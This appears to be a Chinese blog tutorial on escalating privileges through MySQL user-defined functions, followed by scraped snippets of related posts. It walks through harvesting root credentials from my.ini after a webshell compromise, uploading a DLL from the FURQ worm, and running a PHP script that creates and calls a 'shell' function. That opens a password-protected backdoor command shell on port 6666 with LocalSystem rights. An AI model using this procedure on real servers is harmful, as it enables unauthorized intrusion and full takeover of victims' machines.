為MySQL提權簡單方法

2022-04-08 04:37:29 字數 2586 閱讀 3164

前不久網上公開了乙個mysql func的漏洞,講的是使用mysql建立乙個自定義的函式,然後通過這個函式來攻擊伺服器。最早看到相關的報道是在o-otik上,但是公布的是針對unix系統的exploit,並且成功率也不是很高.而近期,國內有高手放出針對win系統的相關文章,於是我馬上找來與朋友一同研究.

其實我們早就能想到.當我們在對mssqloracle資料庫進行攻擊的時候,得到了最資料庫中高許可權的帳戶,往往都是執行特殊的擴充套件過程或者函式來進行攻擊的。比如mssql有xp_cmdshell,oracle可以通過msvcrt.dll來建立乙個特殊的函式.而我們卻始終沒有想到,作為流行的資料庫軟體之一的mysql,也是可以進行函式的建立的.由此看來,mysql的這個漏洞不應稱為漏洞而僅僅是乙個技術而已.

廢話一堆過後,我們來了解一下怎麼在mysql裡建立乙個函式吧.這比如何利用重要許多,只要了解了原理,運用就能更加靈活,而且可以與其他思想融會貫通.

mysql中建立乙個函式的語句為:

create function functionname returns [string|integer|real] soname c:function.dll;

其中functionname指的是函式的名稱,c:function.dll指的是函式所呼叫的dll,而函式名正是dll中的函式名稱.不過這裡需要我們注意的是,如果我們需要mysql可以在函式之中附帶乙個引數的話,那麼就要符合udf形式的程式編寫規則,具體的可以檢視mysql手冊的第14節:《為mysql增加新函式》.而其中string,integet,real是函式執行後所返回的值的形式.當然,我們大可不必遵循udf形式的編寫,其實如果我們的函式中使用乙個我們要執行的**,而不使用引數,一樣可以達到攻擊的效果,比如說system("command.com")等等.網上現在以此漏洞進行攻擊的furq蠕蟲就是乙個不使用udf格式的例子.但是注意,這個建立函式的語句必須要求我們所用的mysql帳戶有對mysql這個資料庫的寫許可權,否則無法正常使用.

好了.了解了原理之後,我們來實戰一下如何使用mysql提公升許可權.

在這裡我們已經通過各式各樣的漏洞取得了乙個伺服器的webshell,我這裡演示的是angel的phpspy,因為php預設有連線mysql的函式,而asp這些需要使用附加的元件來進行連線,本身不具備條件的.

一般來說,在win系統下面,很多軟體都會在系統目錄下建立乙個叫my.ini的檔案,其中包含了很敏感的mysql資訊.而如果我們攻克的主機沒有非常好的許可權設定的話,我們本身就具有對%windir%目錄的瀏覽許可權,所以可以非常容易的讀取其中的資訊.而且非常多的管理員通常是將root帳戶與密碼寫進這個my.ini,所以一旦我們讀到root使用者的密碼,就可以操縱整個mysql資料庫或者是伺服器了.如圖1.

得到mysql的root密碼之後,我們需要上傳我們的dll檔案,我這裡使用的是從furq蠕蟲中提取的furq.dll.執行這個furq.dll中的shell函式,系統將會在6666埠開啟乙個帶密碼的cmdshell,當然,密碼我們已經知道,就是"furq"幾個字元而已.不過我們現在還沒有執行的條件.需要通過mysql將這個函式建立到mysql中去.

現在,我們用phpspy新建乙個php檔案.

輸入以下的內容

$link=mysql_connect(127.0.0.1,root,root);

if (!$link) {

die(could not connect the database!: . mysql_error());

echo "good boy.connected!

";  //這裡的root

oot就是從my.ini中讀取的使用者和密碼.

@mysql_select_db(mysql) or die (use database mysql failed!);

echo "yes you did!

";  //這裡選擇使用mysql資料庫表.當然你也可以選擇別的,如test.

$query="create function shell returns integer soname d:\wwwroot\furq.dll;";

@$result = mysql_query($query, $link) or die ("create function failed!");

echo "goddess...successed!

";  //這兩句話是關鍵,執行mysql的建立函式語句.將d:wwwrootfurq.dll中的shell函式建立進mysql中.使得mysql可以執行這個shell函式.

$query="select shell();";

@$result = mysql_query($query, $link) or die ("execute failed");

echo "congratulations! connect the port 6666 of this server vs password:furq

";  //這一步是執行這個shell函式,開啟伺服器的6666埠.

再次執行,全部正常返回.如圖2.那麼現在,我們就可以使用nc連線伺服器的6666埠,輸入這個密碼:furq.然後就返回cmdshell了..當然,由於繼承的是mysql的許可權,而win系統下mysql預設以服務安裝,也就是說,我們得到的shell為localsystem許可權,可以為所欲為了,不過不要做壞事哦.呵呵.

MySQL提權簡單方法

孤水繞城 s blog 前不久網上公開了乙個mysql func的漏洞,講的是使用mysql建立乙個自定義的函式,然後通過這個函式來攻擊伺服器。最早看到相關的報道是在o otik上,但是公布的是針對unix系統的exploit,並且成功率也不是很高.而近期,國內有高手放出針對win系統的相關文章,於...

mysql提權原始碼 mysql提權

namp 掃瞄ip埠 cms 探測 wpscan kali 工具 wpscan 掃瞄出來使用者名稱。用使用者名稱登入ssh 然後利用mysql udf提權。2.gcc g shared wl,soname,raptor udf.so o raptor udf.so raptor udf.o lc 3...

mysql 提權 通過Mysql提權的幾種姿勢

本文記錄利用mysql資料庫,在拿到shell之後進行提權的兩種方法。一 udf提權 基本步驟 1 匯出udf.dll檔案到指定目錄 有些webshell整合,直接導 出即可,沒有,則需要上傳 2 基於udf.dll建立自定義函式cmdshell 3 利用自定義函式,執行高許可權cmd命令 以下按照...